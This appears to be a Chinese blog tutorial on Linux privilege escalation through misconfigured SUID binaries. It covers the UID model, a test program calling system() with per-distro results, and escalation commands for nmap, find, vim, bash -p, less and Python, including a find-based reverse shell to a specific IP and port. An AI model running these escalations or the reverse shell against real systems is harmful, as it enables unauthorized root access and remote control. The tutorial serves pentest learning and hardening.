suid与linux提权

suid文件是什么

suidset user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。

比如常用的ping命令。ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid

1
2
root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是root,它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID

  • Real UID 执行该进程的用户实际的UID,谁通过shell运行就是谁
  • Effective UID 程序实际操作时生效的UID,一般在进程启动时,直接由Real UID复制而来;或者是当进程对应的可执行文件的suid标志位为s时,为该文件的所属用户/组。这组属性决定了进程访问文件的权限
  • Saved UID 在高权限用户降权后,保留的其原本UID

通常情况运行非suid权限的进程时,Effective UIDReal UID相等,所以普通用户不能写入高权限文件;有suid权限的程序启动时,Effective UID就等于二进制文件的所有者,此时Effective UID就可能和Real UID不相等了。

所以利用suid文件进行提权需要2个前提:

  • 文件的所有者是 0 号或其他super user
  • 文件拥有suid权限

os层面目前常见发行版linux也会对suid的权限进行限制,具体可以参考p神这篇文章 ,把suid的提权简单抽象为一个c代码:

1
2
3
int main(int argc, char* argv[]) {
return system(argv[1]);
}

编译并赋予suid权限:

1
2
root@linux:/tmp# gcc suid.c -o suid
root@linux:/tmp# chmod +s suid

在不同的发行版linux运行之后会有以下输出结果:

Linux发行版 输出结果
Ubuntu 14.04 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Ubuntu 16.04 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ubuntu 18.04 uid=33(www-data) gid=33(www-data) groups=33(www-data)
CentOS 6 uid=33(www-data) gid=33(www-data) groups=33(www-data)
CentOS 8 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Debian 6 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Debian 8 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
Kali 2019 uid=33(www-data) gid=33(www-data) groups=33(www-data)

可见,只在Ubuntu1404Debain6Debain8提权成功,具体原因可以参考大佬的分析,对应失败的情况也可以根据具体的版本进行对应的绕过。

脱离os的细节,还有下面这些应用存在利用suid提权的场景:Nmap、Vim、find、Bash、More、Less、Nano、cp 接下来就挨个看看

提权场景

Nmap

nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmapos的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。

1
2
3
4
5
nmap -V //查看版本
nmap --interactive //进入交互模式
nmap> !sh //创建shell
sh-3.2# whoami
root

msf里面也有现成的模块可以利用:exploit/unix/local/setuid_nmap

5.2.0之后,nmap没有了interactive参数,但是可以通过往自定义脚本里面写命令的方式来让nmap加载运行

1
2
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell

find

linux 中可以使用 find 来查找文件,同时它也有执行命令的能力。因此,如果find的权限被配置了suid,那么通过它运行的命令都是以root权限运行了,find 使用exec执行命令时需要注意最后的分号才可以:

1
2
3
chen@chen:~$ touch 1sh
chen@chen:~$ find 1sh -exec whoami \;
root

这里可以直接使用 find 进行反弹shell

1
chen@chen:~$ find 1sh -exec  bash -i >& /dev/tcp/100.119.200.173/5656 0>&1 \;

image-20200904203205660

攻击机监听即可获取到shell,如果这里find具有suid权限即可获取到root shell

Vi/Vim

vimlinux下常见的文本编辑器,但是如果vim被配置了suid权限,那么运行时就会获取高权限进而对只有root用户才有权限读写的文件进行操作或获取高权限shell。在vi/vim中按下esc再输入一下内容即可获取到rootshell :

1
2
:set shell=/bin/sh
:shell

Bash

直接使用下面语句就可以打开一个root权限的bash

1
2
3
chen@chen:~$ bash -p 
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

More/Less/nano

这里 3 个都是查看文本的工具,利用类似,都是用来读取无权限的文件。

1
2
less /etc/passwd
more /etc/passwd

python/perl/ruby/lua/php/etc

这里是一些第三方语言的配置错误场景,以python为例:

1
python -c "import os;os.system('/bin/bash')"

找suid权限文件

以下命令可以找到正在系统上运行的所有SUID可执行文件,命令将从 / 目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

1
2
3
find / -user root -perm ``-4000` `-``print` `2``>/dev/null
find / -perm -u=s -type f ``2``>/dev/null
find / -user root -perm ``-4000` `-exec ls -ldb {} \;

总结

上面就是常见通过配置错误的SUID可执行文件进行提权的操作了,可以看到操作十分简单,但是实际场景中运维一般不会这样nc的设置suid权限给可执行文件,再加上不同发行版linux对这种问题的限制,所以实际场景遇到的可能性是极小的,学习学习吧。

参考链接

https://pentestlab.blog/2017/09/25/suid-executables/

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html